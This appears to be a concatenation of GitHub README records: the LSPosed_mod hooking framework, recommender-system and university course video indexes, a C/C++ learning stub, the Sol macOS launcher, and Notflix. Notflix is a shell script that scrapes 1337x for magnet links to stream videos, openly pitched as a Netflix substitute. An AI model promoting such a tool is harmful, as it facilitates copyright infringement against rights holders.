be accepted.** - GitHub issues: [Issues](https://github.com/mywalkb/LSPosed_mod/issues/) - [Wiki](https://github.com/mywalkb/LSPosed_mod/wiki) - (For Chinese speakers) 本项目只接受英语**标题**的issue。如果您不懂英语，请使用[翻译工具](https://www.deepl.com/zh/translator) ## For Developers Developers are welcome to write Xposed modules with hooks based on LSPosed Framework. A module based on LSPosed framework is fully compatible with the original Xposed Framework, and vice versa, a Xposed Framework-based module will work well with LSPosed framework too. - [Xposed Framework API](https://api.xposed.info/) We use our own module repository. We welcome developers to submit modules to our repository, and then modules can be downloaded in LSPosed. - [LSPosed Module Repository](https://github.com/Xposed-Modules-Repo) ## Translation Contributing You can contribute translation [here](https://crowdin.com/project/lsposedmod). ## Credits - [LSPosed](https://github.com/LSPosed/LSPosed): fork source (makes all these possible) - [Magisk](https://github.com/topjohnwu/Magisk/): makes all these possible - [Riru](https://github.com/RikkaApps/Riru): provides a way to inject code into zygote process - [XposedBridge](https://github.com/rovo89/XposedBridge): the OG Xposed framework APIs - [Dobby](https://github.com/jmpews/Dobby): used for inline hooking - [LSPlant](https://github.com/LSPosed/LSPlant): the core ART hooking framework - [EdXposed](https://github.com/ElderDrivers/EdXposed): fork source - [XZ Embedded](https://git.tukaani.org/xz-embedded.git): for decompress debug_info section into stripped libraries - ~[SandHook](https://github.com/ganyao114/SandHook/): ART hooking framework for SandHook variant~ - ~[YAHFA](https://github.com/rk700/YAHFA): previous ART hooking framework~ - ~[dexmaker](https://github.com/linkedin/dexmaker) and [dalvikdx](https://github.com/JakeWharton/dalvik-dx): to dynamically generate YAHFA hooker classes~ - ~[DexBuilder](https://github.com/LSPosed/DexBuilder): to dynamically generate YAHFA hooker classes~ ## License LSPosed is licensed under the **GNU General Public License v3 (GPL-3)** (http://www.gnu.org/copyleft/gpl.html).

My changes to LSPosed

wangshusen/RecommenderSystem

# 工业界的推荐系统 1. **概要** [[讲义](https://github.com/wangshusen/RecommenderSystem/blob/main/Notes/01_Basics.pdf)] * 推荐系统的基本概念 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/01_Basics_01.pdf)] [[YouTube](https://youtu.be/5dTOPen28ts)] [[B站](https://www.bilibili.com/video/BV1PS4y1A7za)]. * 推荐系统的链路 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/01_Basics_02.pdf)] [[YouTube](https://youtu.be/HMcCaG9RmnU)] [[B站](https://www.bilibili.com/video/BV1hF411M7b5)]. * AB测试 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/01_Basics_03.pdf)] [[YouTube](https://youtu.be/7Jz3VY8SCR4)] [[B站](https://www.bilibili.com/video/BV1J44y1o7gf)]. 2. **召回** * 基于物品的协同过滤（ItemCF） [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_01.pdf)] [[YouTube](https://youtu.be/QtmunNLeDvo)] [[B站](https://www.bilibili.com/video/BV1mA4y1Q7RN)]. * Swing模型 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_02.pdf)] [[YouTube](https://youtu.be/DUUMNTDuJ3Q)] [[B站](https://www.bilibili.com/video/BV1DA4y1Q7rB)]. * 基于用户的协同过滤（UserCF） [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_03.pdf)] [[YouTube](https://youtu.be/7O9zFMNdrZ8)] [[B站](https://www.bilibili.com/video/BV1HY4y1Y7P1)]. * 离散特征处理 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_04.pdf)] [[YouTube](https://youtu.be/Wiqfn0BIcJs)] [[B站](https://www.bilibili.com/video/BV1pS4y1a7QT)]. * 矩阵补充 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_05.pdf)] [[YouTube](https://youtu.be/phpIjr8_C7g)] [[B站](https://www.bilibili.com/video/BV1b34y1e7En)]. * 双塔模型：模型和训练 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_06.pdf)] [[YouTube](https://youtu.be/2Mc10LZ-DB0)] [[B站](https://www.bilibili.com/video/BV1YA4y1D75Q)]. * 双塔模型：正负样本 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_07.pdf)] [[YouTube](https://youtu.be/KOpl2cJyKOg)] [[B站](https://www.bilibili.com/video/BV133411T7ue)]. * 双塔模型：线上服务 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_08.pdf)] [[YouTube](https://youtu.be/3qOvHfW1A-8)] [[B站](https://www.bilibili.com/video/BV1KY4y1h73Y)]. * 双塔模型+自监督学习 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_09.pdf)] [[YouTube](https://youtu.be/Ra3MVhneR9E)] [[B站](https://www.bilibili.com/video/BV1v24y1B7JH)]. * Deep Retrieval 召回 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_10.pdf)] [[YouTube](https://youtu.be/BYtzZ48hRFM)] [[B站](https://www.bilibili.com/video/BV1Fu4y1b7PL)]. * 其它召回通道 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_11.pdf)] [[YouTube](https://youtu.be/7CKBjx7bw7k)] [[B站](https://www.bilibili.com/video/BV1m5411R7nd)]. * 曝光过滤 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/02_Retrieval_12.pdf)] [[YouTube](https://youtu.be/cM76ZbkqrFU)] [[B站](https://www.bilibili.com/video/BV1sa4y137LF)] 3. **排序** * 多目标排序模型 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/03_Rank_01.pdf)] [[YouTube](https://youtu.be/kY4W46MQqsg)] [[B站](https://www.bilibili.com/video/BV19t4y1p7UM)]. * Multi-gate Mixture-of-Experts (MMoE) [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/03_Rank_02.pdf)] [[YouTube](https://youtu.be/JIEwaPARjfk)] [[B站](https://www.bilibili.com/video/BV14Y411M74v)]. * 预估分数融合 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/03_Rank_03.pdf)] [[YouTube](https://youtu.be/D2iqM2puJ2I)] [[B站](https://www.bilibili.com/video/BV1YT411578u)]. * 播放时长建模 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/03_Rank_04.pdf)] [[YouTube](https://youtu.be/SiyvcJzr2bg)] [[B站](https://www.bilibili.com/video/BV1394y1277M)]. * 推荐系统的特征 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/03_Rank_05.pdf)] [[YouTube](https://youtu.be/J7N4xjqg0rk)] [[B站](https://www.bilibili.com/video/BV1gN4y157TM)]. * 粗排三塔模型 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/03_Rank_06.pdf)] [[YouTube](https://youtu.be/0CvouPv47SA)] [[B站](https://www.bilibili.com/video/BV1Dd4y1m7KT)]. 4. **交叉结构** * Factorized Machine (FM) [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/04_Cross_01.pdf)] [[YouTube](https://youtu.be/exVPXVFPMDk)] [[B站](https://www.bilibili.com/video/BV15V4y1x7Ht)]. * Deep & Cross Network (深度交叉网络) [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/04_Cross_02.pdf)] [[YouTube](https://youtu.be/yNeRO5m63JQ)] [[B站](https://www.bilibili.com/video/BV1LP411L7Z2)]. * LHUC [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/04_Cross_03.pdf)] [[YouTube](https://youtu.be/TxIedW94hu0)] [[B站](https://www.bilibili.com/video/BV1jU4y1z7Tc)]. * SENet & FiBiNET [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/04_Cross_04.pdf)] [[YouTube](https://youtu.be/nF37qtNvw1E)] [[B站](https://www.bilibili.com/video/BV1SY4y1M7bD)]. 5. **用户行为序列建模** * 用户行为序列特征 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/05_LastN_01.pdf)] [[YouTube](https://youtu.be/Stbc9goPKXQ)] [[B站](https://www.bilibili.com/video/BV1GG4y1B7Yh)]. * DIN 模型 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/05_LastN_02.pdf)] [[YouTube](https://youtu.be/0hPep80Oy6k)] [[B站](https://www.bilibili.com/video/BV1bT411T7u4)]. * SIM 模型 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/05_LastN_03.pdf)] [[YouTube](https://youtu.be/_4J9aF5KR84)] [[B站](https://www.bilibili.com/video/BV1Ze4y1B7JL)]. 6. **多样性** [[讲义](https://github.com/wangshusen/RecommenderSystem/blob/main/Notes/06_Rerank.pdf)] * 多样性的度量 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/06_Rerank_01.pdf)] [[YouTube](https://youtu.be/uCIlk7N1dvk)] [[B站](https://www.bilibili.com/video/BV1ne4y1v7mC)]. * MMR 算法 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/06_Rerank_02.pdf)] [[YouTube](https://youtu.be/tCa4yackga0)] [[B站](https://www.bilibili.com/video/BV1dV4y1V7Kg)]. * 规则约束 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/06_Rerank_03.pdf)] [[YouTube](https://youtu.be/84kK1h0FS3Y)] [[B站](https://www.bilibili.com/video/BV1om4y1F7y5)]. * DPP：数学基础 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/06_Rerank_04.pdf)] [[YouTube](https://youtu.be/HjpJeUSekKs)] [[B站](https://www.bilibili.com/video/BV1re411F7cp)]. * DPP：多样性算法 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/06_Rerank_05.pdf)] [[YouTube](https://youtu.be/wi8xVHiZZr4)] [[B站](https://www.bilibili.com/video/BV1Md4y1c7uB)]. 7. **物品冷启动** [[讲义](https://github.com/wangshusen/RecommenderSystem/blob/main/Notes/07_ColdStart.pdf)] * 评价指标 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/07_ColdStart_01.pdf)] [[YouTube](https://youtu.be/EEQ4qwjezRc)] [[B站](https://www.bilibili.com/video/BV1eZ4y1a7tG)]. * 简单的召回通道 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/07_ColdStart_02.pdf)] [[YouTube](https://youtu.be/lboewzsA8DU)] [[B站](https://www.bilibili.com/video/BV1HY4y157Ri)]. * 聚类召回 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/07_ColdStart_03.pdf)] [[YouTube](https://youtu.be/Tm4SlB9A8BQ)] [[B站](https://www.bilibili.com/video/BV1YT4y1q7zC)]. * Look-Alike人群扩散 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/07_ColdStart_04.pdf)] [[YouTube](https://youtu.be/pjmRo8Uzzqg)] [[B站](https://www.bilibili.com/video/BV1U5411X7ud)]. * 流量调控 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/07_ColdStart_05.pdf)] [[YouTube](https://youtu.be/QGD-1Feq1ZQ)] [[B站](https://www.bilibili.com/video/BV1vS4y1z7sC)]. * 冷启动的AB测试 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/07_ColdStart_06.pdf)] [[YouTube](https://youtu.be/oEUi4mSAv8Q)] [[B站](https://www.bilibili.com/video/BV12341137Cq)]. 8. **涨指标的方法** [[参考文献](https://arxiv.org/abs/2308.01204)] * 概述 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/08_Improvement_01.pdf)] [[YouTube](https://youtu.be/YptRKEZZ0gY)] [[B站](https://www.bilibili.com/video/BV1fc41167jK)]. * 召回 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/08_Improvement_02.pdf)] [[YouTube](https://youtu.be/imi73gPNCFA)] [[B站](https://www.bilibili.com/video/BV13H4y127Tt)]. * 排序 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/08_Improvement_03.pdf)] [[YouTube](https://youtu.be/2lXflLLEwfA)] [[B站](https://www.bilibili.com/video/BV1fQ4y1G72F)]. * 多样性 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/08_Improvement_04.pdf)] [[YouTube](https://youtu.be/wW_BZ11hXOY)] [[B站](https://www.bilibili.com/video/BV1eN4y1z7vs)]. * 特殊人群 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/08_Improvement_05.pdf)] [[YouTube](https://youtu.be/2hcM-jV84ho)] [[B站](https://www.bilibili.com/video/BV15g4y1m7P4)]. * 交互行为 [[slides](https://github.com/wangshusen/RecommenderSystem/blob/main/Slides/08_Improvement_06.pdf)] [[YouTube](https://youtu.be/CUpwivLDgEA)] [[B站](https://www.bilibili.com/video/BV1tg4y127rS)].

tangtangcoding/C-CppLearning

# C语言与C++学习 **担心版本问题，取消分享，想要可以关注公众号“编程与实战”找我** 马不停蹄的更新中。。。。。 ## 赞赏 如果心情好，不介意赞赏一下，祝君 bug 退散 <div align=center> <img src="https://github.com/tangtangcoding/C-C-/blob/main/6.jpg" width="300" height="450" /> </div>

C语言与C++学习

Bugswriter/notflix

<h1 align="center">NOTFLIX</h1> <p align="center">f@#k netflix use notflix a tool which search magnet links and stream it with peerflix</p> ## <p align="center"> <img src="./preview.gif" alt="Video Preview" width="500px"> </p> > Watch this video to understand - [bugswriter's notflix](https://youtu.be/FbE19_omaWY) ### How does this work? This is a shell script. It scape 1337x and get the magnet link. After this it use [peerflix](https://github.com/mafintosh/peerflix) to stream the video from magnet link. For scraping script use simple gnu utils like sed, awk, paste, cut. ## Requirements * [peerflix](https://github.com/mafintosh/peerflix) - A tool to stream torrent. `sudo npm install peerflix -g` ## Installation ### cURL cURL **notflix** to your **$PATH** and give execute permissions. ```sh $ sudo curl -sL "https://raw.githubusercontent.com/Bugswriter/notflix/master/notflix" -o /usr/local/bin/notflix $ sudo chmod +x /usr/local/bin/notflix ``` - To update, just do `curl` again, no need to `chmod` anymore. - To uninstall, simply remove `notflix` from your **$PATH**, for example `sudo rm -f /usr/local/bin/notflix. ## License This project is licensed under [GPL-3.0](https://raw.githubusercontent.com/Illumina/licenses/master/gpl-3.0.txt).

Notflix is a shell script to search and stream torrent.

ospfranco/sol

# Sol  <br/> <div align="center"> <a align="center" href="https://twitter.com/ospfranco"> <img src="https://img.shields.io/twitter/follow/ospfranco?label=Follow%20%40ospfranco&style=social" /> </a> <br/> <br/> <a align="center" href="https://www.producthunt.com/posts/sol-2?utm_source=badge-top-post-badge&utm_medium=badge&utm_souce=badge-sol&#0045;2" target="_blank"><img src="https://api.producthunt.com/widgets/embed-image/v1/top-post-badge.svg?post_id=336659&theme=dark&period=daily" alt="Sol - Open&#0032;source&#0032;macOS&#0032;command&#0032;palette | Product Hunt" style="width: 250px; height: 54px;" width="250" height="54" /></a> </div> Sol is an open source app launcher, focused on ease of use and speed. It has minimal configuration and runs natively. [Visit official site](https://sol.ospfranco.com) ## Download Install via brew ``` brew install --cask sol ``` Or manually download the latest [release](https://github.com/ospfranco/sol/tree/main/releases). ## Features - App search - Custom shortcuts - Google translate - Calendar - Show upcoming appointement in Menu Bar - Custom AppleScript commands - Custom links - Imports browser bookmarks - Window Manager - Emoji picker - Clipboard manager - Notes Scratchpad - Retrieve Wi-Fi password - Show IP address - Start a google meet - Switch OS theme - Process killer - Clear XCode Derived Data - Generate NanoID - Generate UUID - Generate lorem ipsum - Format and paste JSON - Forward media keys to Spotify/Apple Music - Blacken Menu Bar - Quickly evaluate math operations ## License MIT License

MacOS launcher & command palette

macos,react,react-native,raycast,alfred,spotlight,launcher,command-palette,cmd-k

xioacd99/study-is-wonderful

# study-is-wonderful > 由于课程列表很长，推荐安装谷歌扩展 Smart TOC 来提升阅读体验（会自动在网页右侧边缘生成一个可跳转的目录。 > > [Smart TOC](https://chrome.google.com/webstore/detail/smart-toc/lifgeihcfpkmmlfjbailfpfhbahhibba?utm_source=chrome-ntp-icon) 示例如下： <div align="center"> <img src="toc.jpg" width="70%"/> </div> Awesome public courses, welcome to share other wonderful learning resources by issue or PR. > 本项目主要面向汉语人群，收集了一些比较好的课程资源，一起撸起袖子加油干 <img src="china.png" width="5%"/>。 Resourse is collected from the following platforms, thanks to them. > 客套话。 <div align="center"> <img src="bilibili.svg" width="10%"/> &nbsp &nbsp &nbsp &nbsp &nbsp <img src="youtube.svg" width="5%"/> </div> OK, let's start studying 🙌 # Math ## 斯坦福 1. [数学思维课](https://www.bilibili.com/BV1dq4y127TF) <img src="bilibili.svg" width="5%"/> 2. [凸优化](https://www.bilibili.com/BV1Pg4y187Ed) <img src="bilibili.svg" width="5%"/> 3. [傅里叶变换及其应用](https://www.bilibili.com/BV1Qx411J7ER) <img src="bilibili.svg" width="5%"/> 4. [矩阵论与应用](https://www.bilibili.com/BV17h411W7bk) <img src="bilibili.svg" width="5%"/> ## CMU 1. [凸优化](https://www.bilibili.com/BV12x411z7ot) <img src="bilibili.svg" width="5%"/> 2. [最优化进阶与随机方法](https://www.bilibili.com/BV1J64y1F7nW) <img src="bilibili.svg" width="5%"/> 3. [离散微分几何](https://www.bilibili.com/BV1RQ4y1Z7HL) <img src="bilibili.svg" width="5%"/> ## 加州伯克利 1. [最优化方法](https://www.bilibili.com/BV19y4y1W7X1) <img src="bilibili.svg" width="5%"/> 2. [数值分析](https://www.bilibili.com/BV1gv411j7rd) <img src="bilibili.svg" width="5%"/> 3. [随机过程](https://www.bilibili.com/BV1qB4y1A7t3) <img src="bilibili.svg" width="5%"/> ## 牛津 1. [数值方法](https://www.bilibili.com/BV1sT4y1S7Aa) <img src="bilibili.svg" width="5%"/> ## 哈佛 1. [概率论](https://www.bilibili.com/BV1kE41157pa) <img src="bilibili.svg" width="5%"/> 2. [抽象代数](https://www.bilibili.com/BV1Ds41167HE) <img src="bilibili.svg" width="5%"/> ## MIT 1. [概率论](https://www.bilibili.com/BV19s41167TE) <img src="bilibili.svg" width="5%"/> 2. [应用统计](https://www.bilibili.com/BV14t411N7uw) <img src="bilibili.svg" width="5%"/> 3. [离散随机过程](https://www.bilibili.com/BV1Qs41167VS) <img src="bilibili.svg" width="5%"/> 4. [傅里叶分析](https://www.bilibili.com/BV1Qz4y167rb) <img src="bilibili.svg" width="5%"/> 5. [线性代数](https://www.bilibili.com/BV1zx411g7gq) <img src="bilibili.svg" width="5%"/> 6. [线性代数](https://www.bilibili.com/BV1fi4y1x7AH) <img src="bilibili.svg" width="5%"/> 7. [离散数学](https://www.bilibili.com/BV1zh41167Uy) <img src="bilibili.svg" width="5%"/> 8. [复分析](https://www.bilibili.com/BV1EJ41147q3) <img src="bilibili.svg" width="5%"/> 9. [微分方程](https://www.bilibili.com/BV1eM4y1g7De) <img src="bilibili.svg" width="5%"/> 10. [图论与可加组合学](https://www.bilibili.com/BV1Ei4y1x73V) <img src="bilibili.svg" width="5%"/> 11. [黎曼几何](https://www.bilibili.com/BV19T4y1M7W5) <img src="bilibili.svg" width="5%"/> ## 耶鲁 1. [博弈论](https://www.bilibili.com/BV1Kt411h7Ep) <img src="bilibili.svg" width="5%"/> # Computer Science ## general 1. [CMU·Great Ideas in Theoretical Computer Science](https://www.bilibili.com/BV1Wh411y7V9) <img src="bilibili.svg" width="5%"/> 2. [MIT·The Missing Semester of Your CS Education](https://www.bilibili.com/BV1x7411H7wa) <img src="bilibili.svg" width="5%"/> 3. [哈佛·CS50X 计算机入门](https://www.bilibili.com/BV1ER4y157uA) <img src="bilibili.svg" width="5%"/> 4. [斯坦福·编程方法学](https://www.bilibili.com/BV1zs411h7t8) <img src="bilibili.svg" width="5%"/> 5. [斯坦福·CS101](https://web.stanford.edu/class/cs101/) 6. [MIT·Introduction to Computer Science and Programming in Python](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-0001-introduction-to-computer-science-and-programming-in-python-fall-2016/) ## Algorithms and Data Structures 1. [MIT·经典算法](https://www.bilibili.com/BV1kf4y1w7Kn) <img src="bilibili.svg" width="5%"/> 2. [MIT·算法导论](https://www.bilibili.com/BV1fu41127MN) <img src="bilibili.svg" width="5%"/> 3. [MIT·高级数据结构](https://www.bilibili.com/BV1iE411n7yJ) <img src="bilibili.svg" width="5%"/> 4. [MIT·高级算法](https://www.bilibili.com/BV11E411u73m) <img src="bilibili.svg" width="5%"/> 5. [MIT·数据结构与算法设计](https://www.bilibili.com/BV1sf4y1H7vb) <img src="bilibili.svg" width="5%"/> 6. [伯克利·CS 61B](https://inst.eecs.berkeley.edu/~cs61b/sp20/index.html) 7. [斯坦福·CS106B Programming Abstractions](https://web.stanford.edu/class/cs106b/) 8. [CSE 373 "The Algorithm Design Manual"](https://www3.cs.stonybrook.edu/~skiena/373/videos/) ## System and Architecture 1. [CMU·计算机系统介绍](https://www.bilibili.com/BV1uK4y1e7ep) <img src="bilibili.svg" width="5%"/> 2. [加州伯克利·Operating System and Systems Programming](https://www.bilibili.com/BV1ix411676b) <img src="bilibili.svg" width="5%"/> 3. [MIT·操作系统](https://www.bilibili.com/BV1QA411F7ij) <img src="bilibili.svg" width="5%"/> 4. [MIT·分布式系统](https://www.bilibili.com/BV1CU4y1P7PE) <img src="bilibili.svg" width="5%"/> 5. [MIT·计算机系统安全](https://www.bilibili.com/BV1jt411F7Wh) <img src="bilibili.svg" width="5%"/> 6. [伯克利·CS 61C](https://inst.eecs.berkeley.edu/~cs61c/fa20/) 7. CMU·15-213：[B 站翻译](https://www.bilibili.com/video/BV1iW411d7hd) <img src="bilibili.svg" width="5%"/>, [课程网页](http://www.cs.cmu.edu/~213/) 8. [斯坦福·CS 107](http://web.stanford.edu/class/cs107/) 9. [南京大学·操作系统](https://space.bilibili.com/202224425/channel/collectiondetail?sid=192498) <img src="bilibili.svg" width="5%"/> ## Artificial Intelligence (general) > 单独推荐两个 up 主，[跟李沐学AI](https://space.bilibili.com/1567748478/) 和 [shuhuai008](https://space.bilibili.com/97068901/)，前者是讲深度学习的，后者是讲统计学习的，都非常棒 🎉。 1. [CMU·人工智能 (研究生)](https://www.bilibili.com/BV1pC4y1t7px) <img src="bilibili.svg" width="5%"/> 2. [李宏毅·Deep Learning Theory](https://www.youtube.com/watch?v=KKT2VkTdFyc&list=RDLVKKT2VkTdFyc&start_radio=1&rv=KKT2VkTdFyc&t=5) <img src="youtube.svg" width="3%"/> 3. [李宏毅·Next Step of Machine Learning](https://www.youtube.com/watch?v=XnyM3-xtxHs&list=PLJV_el3uVTsOK_ZK5L0Iv_EQoL1JefRL4) <img src="youtube.svg" width="3%"/> 4. [李宏毅·Advanced Topics in Deep Learning](https://www.youtube.com/watch?v=IzHoNwlCGnE&list=PLJV_el3uVTsPMxPbjeX7PicgWbY7F8wW9) <img src="youtube.svg" width="3%"/> 5. [李宏毅·机器学习-v1](https://www.youtube.com/watch?v=CXgbekl66jc&list=PLJV_el3uVTsPy9oCRY30oBPNLCo89yu49), [李宏毅·机器学习-v2](https://www.youtube.com/watch?v=Ye018rCVvOo&list=PLJV_el3uVTsMhtt7_Y6sgTHGHp1Vb2P2J), [李宏毅·机器学习-v1](https://www.youtube.com/watch?v=7XZR0-4uS5s&list=PLJV_el3uVTsPM2mM-OQzJXziCGJa8nJL8), [李宏毅·机器学习-TA 补充课](https://www.youtube.com/watch?v=eybCCtNKwzA&list=PLJV_el3uVTsM8QoIIe9JrSDjB0e1UkbEC) <img src="youtube.svg" width="3%"/> 9. [MIT·深度学习](https://www.bilibili.com/BV1qt411c7Na) <img src="bilibili.svg" width="5%"/> 10. [MIT·机器学习](https://www.bilibili.com/BV1a7411M7wH) <img src="bilibili.svg" width="5%"/> 11. [斯坦福·人工智能原理与技术](https://www.bilibili.com/BV1Ht4y1U75j) <img src="bilibili.svg" width="5%"/> 9. [伯克利·CS 188](https://inst.eecs.berkeley.edu//~cs188/fa19/) 10. [伯克利·CS 189](https://www.eecs189.org/) ### Computer Vision (CV) > 李飞飞的 [cs231n](https://www.bilibili.com/BV1nJ411z7fe) 我看过，感觉不咋地，就没加。 1. [李宏毅·GAN-2018](https://www.youtube.com/watch?v=DQNNMiAP5lw&list=PLJV_el3uVTsMq6JEFPW35BCiOQTsoqwNw), [李宏毅·GAN-2017](https://www.youtube.com/watch?v=G0dZc-8yIjE&list=PLJV_el3uVTsMd2G9ZjcpJn1YfnM9wVOBf) <img src="youtube.svg" width="3%"/> ### Natural Language Processing (NLP) 1. [CMU·自然语言处理](https://www.bilibili.com/BV1dC4y1h788) <img src="bilibili.svg" width="5%"/> 2. [斯坦福·深度自然语言处理](https://www.bilibili.com/BV1pt411h7aT) <img src="bilibili.svg" width="5%"/> 3. [CMU·高级自然语言处理](https://www.bilibili.com/BV1H3411k7GA) <img src="bilibili.svg" width="5%"/> 4. [李宏毅·Deep Learning for Human Languange Processing](https://www.youtube.com/watch?v=nER51ZyJaCQ&list=PLJV_el3uVTsO07RpBYFsXg-bN5Lu0nhdG) <img src="youtube.svg" width="3%"/> 5. [李宏毅·Deep Reinforcement Learning](https://www.youtube.com/watch?v=z95ZYgPgXOY&list=PLJV_el3uVTsODxQFgzMzPLa16h6B8kWM_) <img src="youtube.svg" width="3%"/> ### Reinforcement Learning (RL) 1. [斯坦福·强化学习](https://www.bilibili.com/BV1sb411s7eQ) <img src="bilibili.svg" width="5%"/> 2. [MIT·识别，估计和学习](https://www.bilibili.com/BV1KL4y1e7F7) <img src="bilibili.svg" width="5%"/> 3. [加州伯克利·深度强化学习](https://www.bilibili.com/BV1fx411S7S8) <img src="bilibili.svg" width="5%"/> ### Statistical Learning (SL) 1. [加州伯克利·统计机器学习](https://www.bilibili.com/BV1KA41157yn) <img src="bilibili.svg" width="5%"/> 2. [斯坦福·统计学习](https://www.bilibili.com/BV1NW41177q4) <img src="bilibili.svg" width="5%"/> ### Other Topics 1. [CMU·结构化数据机器学习](https://www.bilibili.com/BV1MK4y1a7PS) <img src="bilibili.svg" width="5%"/> 2. [加州理工·机器学习与统计推断基础](https://www.bilibili.com/BV1uA411n7oV) <img src="bilibili.svg" width="5%"/> 3. [李宏毅·Structured Learning](https://www.youtube.com/watch?v=5OYu0vxXEv8&list=PLJV_el3uVTsNHQKxv49vpq7NSn-zim18V) <img src="youtube.svg" width="3%"/> 4. [斯坦福·图机器学习](https://www.bilibili.com/BV1Vg4y1z7Nf) <img src="bilibili.svg" width="5%"/> 5. [斯坦福·机器人学](https://www.bilibili.com/BV16s411q7o7) <img src="bilibili.svg" width="5%"/> 6. [MIT·医疗机器学习](https://www.bilibili.com/BV1oa411c7eD) <img src="bilibili.svg" width="5%"/> ## Data Science 1. [CMU·应用数据科学](https://www.bilibili.com/BV1Pa411F7VP) <img src="bilibili.svg" width="5%"/> 2. [加州伯克利·数据科学原理与技术](https://www.bilibili.com/BV19741117jR) <img src="bilibili.svg" width="5%"/> 3. [加州理工·数据驱动算法设计](https://www.bilibili.com/BV1ip4y1X7uY) <img src="bilibili.svg" width="5%"/> 4. [斯坦福·大数据概论](https://www.bilibili.com/BV1SC4y187x1) <img src="bilibili.svg" width="5%"/> 5. [哈佛·大数据算法](https://www.bilibili.com/BV1v54y1x7dQ) <img src="bilibili.svg" width="5%"/> 6. [斯坦福·CS 246](http://web.stanford.edu/class/cs246/) ## Database 1. [CMU·数据库系统介绍](https://www.bilibili.com/BV1Cp4y1C7dv) <img src="bilibili.svg" width="5%"/> 2. [CMU·数据库系统](https://www.bilibili.com/BV1rN411f7Ef) <img src="bilibili.svg" width="5%"/> 3. [加州伯克利·数据库导论](https://www.bilibili.com/BV1yb4y1n7rb) <img src="bilibili.svg" width="5%"/> ## Parallel Computing 1. [CMU·并行计算结构与编程](https://www.bilibili.com/BV16k4y1z7z9) <img src="bilibili.svg" width="5%"/> 2. [加州伯克利·并行计算应用](https://www.bilibili.com/BV1qV411q7RS) <img src="bilibili.svg" width="5%"/> 3. [加州伯克利·并行程序设计导论](https://www.bilibili.com/BV1QQ4y1o7rn) <img src="bilibili.svg" width="5%"/> ## Software Engineering 1. [康奈尔·软件工程](https://www.bilibili.com/BV1aW411E7yr) <img src="bilibili.svg" width="5%"/> 2. [CMU·智能系统软件工程](https://www.bilibili.com/BV1qA411n7X5) <img src="bilibili.svg" width="5%"/> ## Compiler 1. [斯坦福·编译原理](https://www.bilibili.com/BV1NW41177q4) <img src="bilibili.svg" width="5%"/> 2. [康奈尔·高级编译原理](https://www.bilibili.com/BV1hZ4y1L7X4) <img src="bilibili.svg" width="5%"/> ## Computer Network 1. [CMU·计算机网络](https://www.bilibili.com/BV1wT4y1A7cd) <img src="bilibili.svg" width="5%"/> 2. [斯坦福·计算机网络](https://www.bilibili.com/BV137411Z7LR) <img src="bilibili.svg" width="5%"/> 3. [斯坦福·网络安全](https://www.bilibili.com/BV1yA411s7Tp) <img src="bilibili.svg" width="5%"/> ## Computer Graphics 1. [CMU·计算机图形学](https://www.bilibili.com/BV1QZ4y1K7ga) <img src="bilibili.svg" width="5%"/> 2. [闫令琪·现代计算机图形学入门](https://www.bilibili.com/BV1X7411F744) <img src="bilibili.svg" width="5%"/> 3. [MIT·计算机图形学](https://www.bilibili.com/BV167411g7iK) <img src="bilibili.svg" width="5%"/> ## Others 1. [CMU·人机交互系列讲座](https://www.bilibili.com/BV1Bb411v7YH) <img src="bilibili.svg" width="5%"/> 2. [普林斯顿·比特币与加密技术](https://www.bilibili.com/BV1FL411K7vK) <img src="bilibili.svg" width="5%"/> 3. [斯坦福·密码学](https://www.bilibili.com/BV1Ht411w7Re) <img src="bilibili.svg" width="5%"/> 4. 